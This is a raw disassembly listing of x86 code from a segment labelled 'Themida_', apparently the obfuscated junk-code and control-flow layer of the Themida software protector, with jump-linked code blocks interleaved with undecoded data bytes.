loc_552E26:				; CODE XREF: Themida_:0055382Fj
		pop	esp
		push	edx
		push	esp
		jmp	loc_55B561
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 214EE9h, 58C70100h, 4C781h, 0DBE90000h, 880000AFh, 5B5A5BDCh
		dd 0A453E9h
		db 0
; ---------------------------------------------------------------------------


loc_552E4D:				; CODE XREF: Themida_:0055707Dj
		mov	esi, eax
		mov	edx, esi
		pop	esi
		jmp	loc_55A2B7
; ---------------------------------------------------------------------------


loc_552E57:				; CODE XREF: Themida_:00554F0Bj
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5528AC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89243C89h, 4C781E7h,	56000000h, 5361F1BEh, 11C68133h
		dd 81CCAC9Eh, 0EB7936EFh, 81F70148h, 0EB7936C7h, 24348B48h
		dd 3304C483h, 3C31243Ch, 243C3324h, 6624248Bh, 6866F9F7h
		dd 896602FDh, 50662414h, 0F960E99Ch, 0EDC1FFFFh, 67F58103h
		dd 0E918E192h, 6E86h
; ---------------------------------------------------------------------------


loc_552EBC:				; CODE XREF: Themida_:0055CF98j
		mov	edx, 76C768EFh
		shl	edx, 3
		push	ecx
		jmp	loc_558C67
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 7E07E9h, 2AE98100h, 3122F3B1h, 240C8BC8h, 5104C483h
		dd 4548BF57h, 0F6E91105h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552EEB:				; CODE XREF: Themida_:00554EA0j
		sub	edx, 1
		push	ecx
		jmp	loc_555079
; ---------------------------------------------------------------------------
		dd 24048B66h, 921BE9h, 88FA8800h, 8B33E9D1h, 0F7290000h
		dd 8124348Bh, 4C4h, 243C8700h, 8924248Bh, 0E954241Ch, 3EF1h
		dd 9500882Dh, 20A4E956h, 5A5D0000h, 8704C383h, 0E95C241Ch
		dd 0FFFFF8D6h, 525AD000h, 0D2F6C2B2h, 52A9E280h, 0E92414F6h
		dd 88Fh
; ---------------------------------------------------------------------------


loc_552F4C:				; CODE XREF: Themida_:00553265j
		mov	[esp], ecx
		jmp	loc_552F87
; ---------------------------------------------------------------------------
		dd 5557E189h, 3A47BF57h, 3FE91C03h, 68000003h, 699D571Ah
		dd 8124348Bh, 4C4h, 8EEC100h, 7827E9h, 0E8835B00h, 0AFA9E904h
		dd 87E90000h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552F87:				; CODE XREF: Themida_:00552F4Fj
		mov	ecx, 64D71C1Ah
		jmp	loc_55C9AF
; ---------------------------------------------------------------------------


loc_552F91:				; CODE XREF: Themida_:00558DDAj
		pop	edx
		shr	ecx, 3
		shl	ecx, 7
		shl	ecx, 8
		push	esi
		mov	esi, 12897A06h
		jmp	loc_55AA54
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9552404h, 1F72h
; ---------------------------------------------------------------------------


loc_552FB0:				; CODE XREF: Themida_:0055A2D9j
		pop	esi
		jmp	loc_556F40
; ---------------------------------------------------------------------------
aFpsC		db 'fPé}c',0
		db 0
; ---------------------------------------------------------------------------


loc_552FBD:				; CODE XREF: Themida_:00559436j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_556403
; ---------------------------------------------------------------------------
		db 81h
		dd 5733D8C5h, 348155FFh, 0CD5DCC24h, 0F181596Eh, 6ECD5DCCh
		dd 0B70BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552FED:				; CODE XREF: Themida_:0055663Cj
		dec	edi
		xor	edi, 214D7DAAh
		sub	esi, edi
		pop	edi
		jmp	loc_556EEC
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0B0682424h, 0E900005Bh, 89C0h, 0D186D2F6h
		dd 2818C180h, 686659C8h, 89667D31h, 17E92414h, 6600000Ch
		dd 5224048Bh, 0AAC3E9h,	0C3316600h, 0E9C0B70Fh,	92BCh
		dd 94EBE956h, 0C2810000h, 2D018B4h, 0EA81DA29h,	2D018B4h
		dd 5345E9h, 665D6600h, 0D0316659h, 52A1685Ah, 1C890000h
		dd 4FC9E924h, 8B660000h, 69682404h, 8900003Fh, 0E589242Ch
		dd 81668h, 55AE900h, 0E9550000h, 5B80h,	240C8B66h, 81E78957h
		dd 4C7h, 0FC58E900h, 48FFFFFh, 24248B24h, 0C8B60F66h, 6B7C6866h
		dd 240C8966h, 0FFF761E9h, 17BBB8FFh, 0D6E90FD0h, 1000083h
		dd 0FF5259CAh, 5A042474h, 8B24048Fh, 0E9552424h, 0B18Dh
		dd 4B33BD55h, 0C3817110h, 751C1B8Ch, 2103E9h, 5AD48800h
		dd 1A74E9h, 4E8C100h, 7E0C140h,	152A8405h, 58C18990h, 8759C801h
		dd 8B5C2404h, 2A682404h, 89000037h, 0E2892414h,	2EA0B951h
		dd 0E1C14C1Ch, 81D9F708h, 2E2BABE1h, 0B2E95678h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55311F:				; CODE XREF: Themida_:00553B1Ej
		sub	ecx, 0B628EFAh
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21F627EEh
		add	ebp, ebx
		jmp	loc_559D5E
; ---------------------------------------------------------------------------
		dw 0C15Ch
		dd 0D9E904E3h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553143:				; CODE XREF: Themida_:0055B608j
		add	esi, ebx
		sub	esi, 79A11B2Bh
		sub	esi, 3CC93E8Eh
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55657E
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 81000000h,	4C3h, 2C38100h,	33000000h, 1C31241Ch
		dd 241C3324h, 0D224248Bh, 0E99C242Ch, 0FFFFF682h, 835B5453h
		dd 148904ECh, 26F9E924h, 84BE0000h, 15864EAh, 0D9295EF3h
		dd 0B9C1815Bh, 174EA37h, 0B9E981D1h, 0E974EA37h, 9044h
		dd 2D9F68h, 241C8900h, 4107BABBh, 34815335h, 0E3124924h
		dd 0B9515F0Eh, 2B5007F0h, 68BDC181h, 0C98151EFh, 3C0C0FAAh
		dd 0E3E9D9F7h, 29000002h, 0FBC381CBh, 595D1A06h, 4C96C381h
		dd 0C329500Dh, 4C96EB81h, 1F68500Dh, 89000023h,	97BA2414h
		dd 0D10F3F39h, 685055E2h, 776928CBh, 278E958h, 815E0000h
		dd 0DD1264EFh, 81DF0171h, 0DD1264C7h, 7D79E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55322E:				; CODE XREF: Themida_:00557004j
		pop	esp
		push	3602h
		jmp	loc_557D8A
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 5Bh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55323F:				; CODE XREF: Themida_:00556A93j
		pop	edx
		add	esp, 4
		add	bl, al
		push	218Fh
		jmp	loc_554200
; ---------------------------------------------------------------------------


loc_553252:				; CODE XREF: Themida_:0055E492j
		sub	ecx, 5AC4628Fh
		jmp	loc_558D4D
; ---------------------------------------------------------------------------
		db 0F6h, 0D4h, 0E9h
		dd 44D5h
; ---------------------------------------------------------------------------


loc_553264:				; CODE XREF: Themida_:0055C53Dj
		pop	esp
		jmp	loc_552F4C
; ---------------------------------------------------------------------------
aBbt1S		db 'Bâß',1Bh,'1(é',0
aW		db 'w',0
		align 2
		dw 1487h
aSo1		db '$é®1',0
		align 2
		dw 8BE9h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553283:				; CODE XREF: Themida_:0055985Fj
		mov	[esp], edx
		push	4
		pop	edx
		add	ecx, edx
		jmp	loc_556208
; ---------------------------------------------------------------------------
aSsq		db '\éáŸ',0
		dd 0C8B6600h, 572CE924h, 0E7C10000h, 65C9E908h,	0EF810000h
		dd 0ABF2C43h, 0C781EF01h, 0ABF2C43h, 7E0C781h, 16E96EF8h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5532C3:				; CODE XREF: Themida_:005582DDj
		shr	edx, 2
		xor	edx, 130BCE83h
		add	ebp, edx
		pop	edx
		jmp	loc_55DC15
; ---------------------------------------------------------------------------
		dd 51241489h, 55B7E9h, 4BA5200h, 1000000h, 3C335AD7h, 243C3124h
		dd 8B243C33h, 54552424h, 0C2BA525Dh, 81781B79h,	0A368EEC2h
		dd 0B1FFE909h, 4C860000h, 0D1F60124h, 1244C86h,	0DEE9515Ah
		dd 0FF000034h, 0C8B2434h, 4C48124h, 53000000h, 5005E9h
		dd 4EC8100h, 89000000h,	4812424h, 424h,	243C8B00h, 6D8868h
		dd 24148900h, 72AAE954h, 835A0000h, 0FF6604C4h,	0F4B8E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553356:				; CODE XREF: Themida_:0055E634j
		sub	ebx, 6DAF1930h
		sub	edx, ebx
		pop	ebx
		sub	edx, 4A32602Bh
		add	edx, edi
		jmp	loc_55D3A5
; ---------------------------------------------------------------------------
		dd 4240481h, 8B000000h,	0C481242Ch, 4, 4C581h, 0C5830000h
		dd 74FF5504h, 2C8B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 240CFF24h, 0F46CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5533A2:				; CODE XREF: Themida_:00553B3Dj
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5577CB
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 1BB0E900h, 48B0000h, 1C966824h, 4890000h, 51B4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533C6:				; CODE XREF: Themida_:0055E439j
		push	eax
		jmp	loc_55E67E
; ---------------------------------------------------------------------------
		dd 5004C483h, 8124048Bh, 4ECh, 243C8900h, 0E2E95F54h, 0BB000051h
		dd 8EC0DF59h, 2B5AE9h, 9BC18000h, 0A4B35366h, 2513E953h
		dd 0C2810000h, 21467C47h, 4C2835Bh, 8B241487h, 4012424h
		dd 0FBE99C24h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553413:				; CODE XREF: Themida_:005586BEj
		inc	ebp
		sub	ebp, 1BB9525Fh
		and	ecx, ebp
		mov	ebp, [esp]
		push	1D8Fh
		jmp	loc_553FBE
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0D0h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55342F:				; CODE XREF: Themida_:0055A04Ej
		add	edx, 4
		jmp	loc_55409D
; ---------------------------------------------------------------------------


loc_55343A:				; CODE XREF: Themida_:00556083j
		add	edi, 145153D4h
		not	edi
		sub	edi, 17450C7Bh
		mov	edx, edi
		pop	edi
		xor	edx, 7D630CF0h
		add	edx, 755B1A14h
		and	edx, 5780086Dh
		jmp	loc_553633
; ---------------------------------------------------------------------------
aSrw		db '[éàw',0
		align 4
		dd 68D831ADh, 18F0h, 68240C89h,	13B56027h, 0E92434FFh
		dd 60D5h, 4C181h, 0EC830000h, 243C8904h, 204FE955h, 0C1480000h
		dd 0E0C105E0h, 0C42A2D05h, 0C5893AF9h, 2CD7E9h,	0C2295C00h
		dd 50BCE9h, 0FFD82800h,	515B2434h, 0C181E189h, 4, 8704C183h
		dd 248B240Ch, 0A599E924h, 0E1C10000h, 8E7FE903h, 0CEBB0000h
		dd 0E966A624h, 5D4Bh, 55E78957h, 468h, 8DE95D00h, 51000009h
		dd 27F6E9h, 8BC82800h, 0C483240Ch, 6972E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534FE:				; CODE XREF: Themida_:00559C23j
		push	4692h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_556983
; ---------------------------------------------------------------------------


loc_553519:				; CODE XREF: Themida_:00553F8Dj
		add	ebx, 315F8A8Dh
		mov	edi, ebx
		pop	ebx
		add	edi, 31301024h
		jmp	loc_557477
; ---------------------------------------------------------------------------


loc_55352D:				; CODE XREF: Themida_:0055BAA1j
		push	0B70h
		mov	[esp], esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55918C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 59C82904h, 4F96E9h, 2434FF00h, 0E7895758h, 944CE9h
		dd 0D2E95800h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553563:				; CODE XREF: Themida_:0055CF05j
		pop	esp
		push	eax
		push	ebx
		pop	eax
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 32032092h
		jmp	loc_55731A
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 241C895Ch, 80B5B151h, 0CB88E8C1h, 170FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5535A6:				; CODE XREF: Themida_:00558414j
		inc	eax
		add	eax, 0F0CE007Bh
		mov	ebx, eax
		jmp	loc_55A143
; ---------------------------------------------------------------------------
aTbs81		db '’Bé81',0
		align 2


loc_5535BA:				; CODE XREF: Themida_:00559219j
		push	ebx
		jmp	loc_55A253
; ---------------------------------------------------------------------------
		dd 83242489h, 0E9042404h, 4C9Ah, 4C5815Dh, 0E9000000h
		dd 0A053h, 68240489h, 4, 0F5EEE958h, 166FFFFh, 0A1A9E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5535EE:				; CODE XREF: Themida_:0055A761j
		pop	edi
		shl	ebx, 6
		inc	ebx
		jmp	loc_55949B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8D48E950h, 0DBF70000h, 6FEDF381h,	0EC8361C1h
		dd 24148904h, 0B944ABBAh, 96BD5532h, 8178CC7Ch,	9D240CCDh
		dd 76C9E962h, 89660000h, 5053240Ch, 28E94EB4h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553633:				; CODE XREF: Themida_:0055345Dj
		xor	edx, 1380082Dh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_554A72
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 0EC28100h, 150CA04h, 0EEA81FAh, 5F50CA04h, 0E904C283h
		dd 9AC0h, 8324148Bh, 526604C4h,	0D300BFB2h, 2BE95A66h
		dd 30000090h, 0E9805BF9h, 59C828EBh, 0E952D828h, 86A2h
		dd 0FF242C89h, 0FF042474h, 3BE92434h, 57000006h, 2FDEE9h
		dd 47EB8000h, 75F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5536B5:				; CODE XREF: Themida_:00558EBFj
		push	edx
		mov	edx, 5343608h
		jmp	loc_556A25
; ---------------------------------------------------------------------------
		dd 42474FFh, 8B2434FFh,	0BDE92404h, 53000072h, 9479E9h
		dd 0C3315C00h, 24148B66h, 609768h, 241C8900h, 0BA525B54h
		dd 4, 7D17E9h, 6BB85000h, 8967F061h, 0D7F758C7h, 6CF781h
		dd 0FFE92C23h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553707:				; CODE XREF: Themida_:0055A79Bj
		push	ebp
		mov	ebp, 38942CABh
		jmp	loc_55A8D9
; ---------------------------------------------------------------------------


loc_553712:				; CODE XREF: Themida_:00558184j
		shl	ebx, 8
		sub	ebx, 0DE2B7289h
		sub	ebx, 1
		shr	ebx, 3
		xor	ebx, 0F2AB3E51h
		sub	[edi+24h], ebx
		jmp	loc_55D39D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF0DAh
; ---------------------------------------------------------------------------


loc_553734:				; CODE XREF: Themida_:0055896Ej
		pop	ecx
		xor	ecx, 2B2B05C2h
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebp, 1
		sub	ebp, 1
		push	edi
		mov	edi, 41136EDh
		sub	ebp, edi
		pop	edi
		jmp	loc_55622E
; ---------------------------------------------------------------------------
		db 1
		dd 0EC815AD1h, 4, 9CF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55376D:				; CODE XREF: Themida_:00558190j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_55BDFF
; ---------------------------------------------------------------------------
		db 59h,	4Eh, 0C1h
		dd 17E902E6h, 0B6000008h, 2047E957h, 0EF810000h, 6EF807E0h
		dd 0FFFB15E9h, 4BE56FFh, 0E9000000h, 62F9h
; ---------------------------------------------------------------------------


loc_5537A0:				; CODE XREF: Themida_:00552B17j
		push	esi
		pop	edi
		pop	esi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		xchg	esi, edi
		xor	eax, edi
		jmp	loc_55A0F8
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFF5E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5537B9:				; CODE XREF: Themida_:0055C8C3j
		xor	eax, [esp]
		mov	esp, [esp]
		add	dword ptr [esp+4], 53E54F5Ah
		jmp	loc_559183
; ---------------------------------------------------------------------------


loc_5537CC:				; CODE XREF: Themida_:0055BF39j
		add	ecx, 0FEF7FC60h
		add	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_55B5F7
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E9FFEA80h, 84DBh
; ---------------------------------------------------------------------------


loc_5537E4:				; CODE XREF: Themida_:00559FFCj
		inc	edx
		xchg	edx, esi
		jmp	loc_558481
; ---------------------------------------------------------------------------
		dd 2BBB850h, 0C731401Bh, 0C1EF8158h, 68292358h,	77E8h
		dd 0BA241489h, 59F5692Ah, 815AD729h, 0AB1704C6h, 0F140E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553816:				; CODE XREF: Themida_:0055A361j
		push	5A8Ah
		jmp	loc_553EC1
; ---------------------------------------------------------------------------


loc_553820:				; CODE XREF: Themida_:00552DE4j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_552E26
; ---------------------------------------------------------------------------
aWhe3		db '\Wh¥3',0
		dw 8900h
		dd 3C8B2404h, 4C48324h,	5324048Bh, 3CE9E389h, 3300004Eh
		dd 5BE92414h, 0AC000081h, 495168h, 24148900h, 0E952EDB6h
		dd 0FFFFFA9Eh
; ---------------------------------------------------------------------------


loc_553868:				; CODE XREF: Themida_:00553EBCj
		mov	[esp], ebp
		mov	ebp, 6E434F9Ch
		sub	[esp+4], ebp
		push	dword ptr [esp]
		jmp	loc_55C36A
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 0E904C483h, 0FFFFEF86h, 137CE681h, 0D14673D6h
		dd 366FE9EEh, 34FF0000h, 24048B24h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 52E68956h, 640AC5BAh, 0D7EA815Ch,	0E93A6E15h
		dd 552Dh, 81243C8Bh, 4C4h, 0FFD03100h, 34FF2434h, 0C4835A24h
		dd 8753E904h, 0F3890000h, 8124348Bh, 4C4h, 5BDE8900h, 6318B850h
		dd 0C6293CE4h, 428F5658h, 2434FF38h, 5B54535Eh,	4C381h
		dd 0C3810000h, 4, 8B241C87h, 2EE92424h,	6600006Ah, 0E9240C8Bh
		dd 52AFh, 31242C33h, 2C33242Ch,	0F7665C24h, 8A88E9E9h
		dd 0E9420000h, 50CAh, 885BF988h, 515A59CCh, 0EA88E588h
		dd 55CDE9h, 4EF8100h, 0E9000000h, 6D60h
; ---------------------------------------------------------------------------


loc_553950:				; CODE XREF: Themida_:005577A2j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_55CFCA
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0C1h
		dd 0F68103EEh, 1DA62104h, 1283EF81h, 0EF8100DCh, 7EEF61FDh
		dd 26E9F701h, 5B000065h, 83242C8Bh, 0F00904C4h,	8324348Bh
		dd 0E8C104C4h, 0E03E908h, 0D7F60000h, 0C780E7D0h, 0FCE5E9F7h
		dd 0EC83FFFFh, 243C8904h, 71A0E9h, 2424D300h, 5028E99Ch
		dd 0E6890000h, 4C681h, 0EE830000h, 24348704h, 0E689565Ch
		dd 4C681h, 0EE810000h, 4, 8B243487h, 24892424h,	24048324h
		dd 24048F04h, 97F9E9h, 24048B00h, 4C481h, 0C3280000h, 3CD6E951h
		dd 2E2C0000h, 88525966h, 5AD188C2h, 92B5E9h, 40F68000h
		dd 68F4C680h, 1C9h, 51240489h, 0E888F588h, 88526659h, 88D6F6C6h
		dd 2D9E9F0h, 2C810000h,	60350B24h, 168D6863h, 14890000h
		dd 38046824h, 3C890000h, 70D1BF24h, 895510B6h, 5DEA89FDh
		dd 2454015Fh, 26FFE904h, 0F7BA0000h, 8138943Ah,	285754C2h
		dd 4FFA8713h, 18E9FA31h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553A6B:				; CODE XREF: Themida_:00552D14j
		pop	ecx
		jmp	loc_558C48
; ---------------------------------------------------------------------------


loc_553A71:				; CODE XREF: Themida_:005568A5j
		add	esp, 4
		add	eax, 1C9E3AB3h
		mov	edx, [esp]
		jmp	loc_55C8FE
; ---------------------------------------------------------------------------
		dd 8B242C87h, 6AE92424h, 8100001Dh, 4ECh, 24348900h, 0C45B70BEh
		dd 5C6AB82Bh, 0F0312069h, 1626E9h, 24248B00h, 9C240408h
		dd 0FFED59E9h, 241C87FFh, 0A70CE9h, 2DD82900h, 79E61C48h
		dd 83241C8Bh, 525E04C4h, 69246856h, 815E73F7h, 4F1848F6h
		dd 76BF5734h, 1C626F2h,	0F2895FFEh, 685Eh, 1E90000h, 5900005Fh
		dd 0CE87D9F7h, 52F9EE81h, 0C3813B90h, 231A65B8h, 0EB81F301h
		dd 231A65B8h, 68C3295Eh, 1B12h,	68243489h, 58BE3CF7h, 3677E9h
		db 0
; ---------------------------------------------------------------------------


loc_553B1D:				; CODE XREF: Themida_:005558C5j
		inc	ecx
		jmp	loc_55311F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 72E9240Ch
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B2B:				; CODE XREF: Themida_:0055CA56j
		add	esp, 4
		push	1FCAh
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5533A2
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 58ED8195h, 1E93FEAh,	2434FFE8h, 857FE9h, 68F28100h
		dd 55649552h, 0EE89D589h, 0F5015A5Dh, 2B9515Eh,	1000000h
		dd 0FF5559CDh, 0E9042474h, 9B5Fh
; ---------------------------------------------------------------------------


loc_553B78:				; CODE XREF: Themida_:00552CCCj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_554271
; ---------------------------------------------------------------------------
		dw 1168h
		dd 89000011h, 5A542414h, 4C281h, 0B9510000h, 7C4976A7h
		dd 5509E9h
		db 0
; ---------------------------------------------------------------------------


loc_553BA1:				; CODE XREF: Themida_:0055728Ej
		mov	[esp], ecx
		mov	ecx, ebx
		push	50C9h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 7C482FF9h
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		push	2664h
		mov	[esp], edx
		mov	edx, 6B641D4Bh
		shl	edx, 7
		shr	edx, 5
		push	ecx
		jmp	loc_554936
; ---------------------------------------------------------------------------
		db 30h
		dd 0E99C2404h, 0FFFFEC32h
; ---------------------------------------------------------------------------


loc_553BDC:				; CODE XREF: Themida_:0055621Cj
		push	1C98h
		mov	[esp], ecx
		push	0FFFFFFFFh
		mov	ecx, [esp]
		jmp	loc_558EBC
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
aPaOfpWSsU	db '$±€ÁŽfP´W(á鵞',0
		db 0
; ---------------------------------------------------------------------------


loc_553C05:				; CODE XREF: Themida_:0055C1EFj
		or	eax, eax
		jz	loc_559217
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	151F6432h
		pop	edx
		sub	dword ptr [esp+4], 23D86B5Ah
		sub	[esp+4], edx
		jmp	loc_558B24
; ---------------------------------------------------------------------------
		dw 0DCB6h
		dd 80CFE680h, 0C680C0F6h, 0BAE680DAh, 6AE9D6F6h, 66000021h
		dd 5124048Bh, 0EC81E189h, 4, 53240489h,	105A26BBh, 8BD8891Dh
		dd 12E9241Ch, 2800006Dh, 5866E6h, 0FD305AF7h, 53EDD05Bh
		dd 0CF8033B7h, 0DACF803Eh, 98DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_553C89:				; CODE XREF: Themida_:00554FD9j
		push	edi
		push	esp
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_556066
; ---------------------------------------------------------------------------
aS_5		db ' Ãé',8,'%',0
		dd 2434FF00h, 83240C8Bh, 0EC8304C4h, 240C8904h,	273068h
		dd 24248900h, 4240483h,	83240C8Bh, 0C18104C4h, 4, 24BF5753h
		dd 0BB36984Dh, 0C967B2E0h, 0B1E9FB01h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553CD7:				; CODE XREF: Themida_:00558146j
		push	edx
		mov	edx, 4
		jmp	loc_554E1D
; ---------------------------------------------------------------------------
aSqf		db ']éï”',0
		align 4
		dd 1C3CEB81h, 0C8B3C47h, 4C48324h, 0FDEDEB81h, 0D8014028h
		dd 96E9525Bh, 66000004h, 58C6885Ah, 0E9B9EE80h,	5270h
; ---------------------------------------------------------------------------


loc_553D10:				; CODE XREF: Themida_:0055939Ej
		pop	esi
		jmp	loc_55B979
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2474FF24h, 48F5F04h,	24248B24h, 0E9240489h, 5903h
; ---------------------------------------------------------------------------


loc_553D2C:				; CODE XREF: Themida_:00552A2Aj
		xchg	ebx, [esp]
		pop	esp
		push	36F3h
		mov	[esp], esi
		push	edi
		push	2AF61531h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55DF4B
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 57000000h, 0FFF99CE9h, 0C8B66FFh, 35F9E924h,	9D040000h
		dd 9D2CF028h, 8AE95A66h, 8B000073h, 48B2424h, 59545124h
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 6437h, 1AF6815Bh
		dd 10B1400h, 48E95EF7h,	68000018h, 728F274Bh, 2CC98159h
		dd 810FAF1Eh, 2B37F4C9h, 0D6E9516Dh, 89000035h,	4BA52E6h
		dd 1000000h, 0C6815AD6h, 4, 4EC81h, 34890000h, 2474FF24h
		dd 24348B04h, 0E904C483h, 9AE4h, 39F1E581h, 0E9514B64h
		dd 4806h, 5B3A885Ah, 68240C8Bh,	5F7h, 89243489h, 4EC83E6h
		dd 56243C89h, 0BE7A34BEh, 7A38BF0Eh, 0F7290EBEh, 0D0C6815Eh
		dd 131D418h, 0D0EE81FEh, 5F31D418h, 8704C683h, 0E95C2434h
		dd 0FFFFE9EAh, 243C8766h, 56665766h, 2474FF66h,	348B6602h
		dd 2C48124h, 66000000h,	6624048Fh, 14F76656h, 665E6624h
		dd 66640B68h, 0E9243489h, 0A52Eh, 0FF2434FFh, 51582434h
		dd 0C181E189h, 4, 4C181h, 0C870000h, 5685C24h, 0E900004Eh
		dd 186h, 34FFEF01h, 242C8B24h, 4C481h, 81E90000h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E8B:				; CODE XREF: Themida_:0055CFAEj
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		jmp	loc_55D4CD
; ---------------------------------------------------------------------------
		dw 0E4B8h
		dd 9610774h, 9C03E9C3h,	0F1680000h, 5F72D24Dh, 23AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_553EAD:				; CODE XREF: Themida_:0055D783j
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	4500h
		jmp	loc_553868
; ---------------------------------------------------------------------------


loc_553EC1:				; CODE XREF: Themida_:0055381Bj
		mov	[esp], ebp
		push	67820944h
		pop	ebp
		add	ebp, 0FFFFFFFFh
		push	33CCh
		mov	[esp], esi
		mov	esi, 4C904342h
		add	ebp, esi
		jmp	loc_552A8B
; ---------------------------------------------------------------------------
		dd 24040966h, 0E920E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553EEE:				; CODE XREF: Themida_:0055C9D1j
		pop	ebp
		add	eax, edi
		push	dword ptr [eax]
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5554F0
; ---------------------------------------------------------------------------
		dd 0D4B9515Bh, 5516D21Fh, 0DC015ABDh, 5DE9017Ah, 4103E1C1h
		dd 8108E1C1h, 0F80851C1h, 10E981E0h, 0E931C952h, 354Ch
		dd 1CE2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F2A:				; CODE XREF: Themida_:00554A05j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_555F04
; ---------------------------------------------------------------------------


loc_553F33:				; CODE XREF: Themida_:0055A14Fj
		pop	ebx
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_559835
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0CA010000h, 24148759h, 6624248Bh, 9C2404D3h,	0FFE8B9E9h
		dd 1EA9BDFFh, 0E9093A47h, 0EDF1815Dh, 17AD71Eh,	148759CAh
		dd 34FF5C24h, 24148B24h, 8104C483h, 4ECh, 243C8900h, 62E9E789h
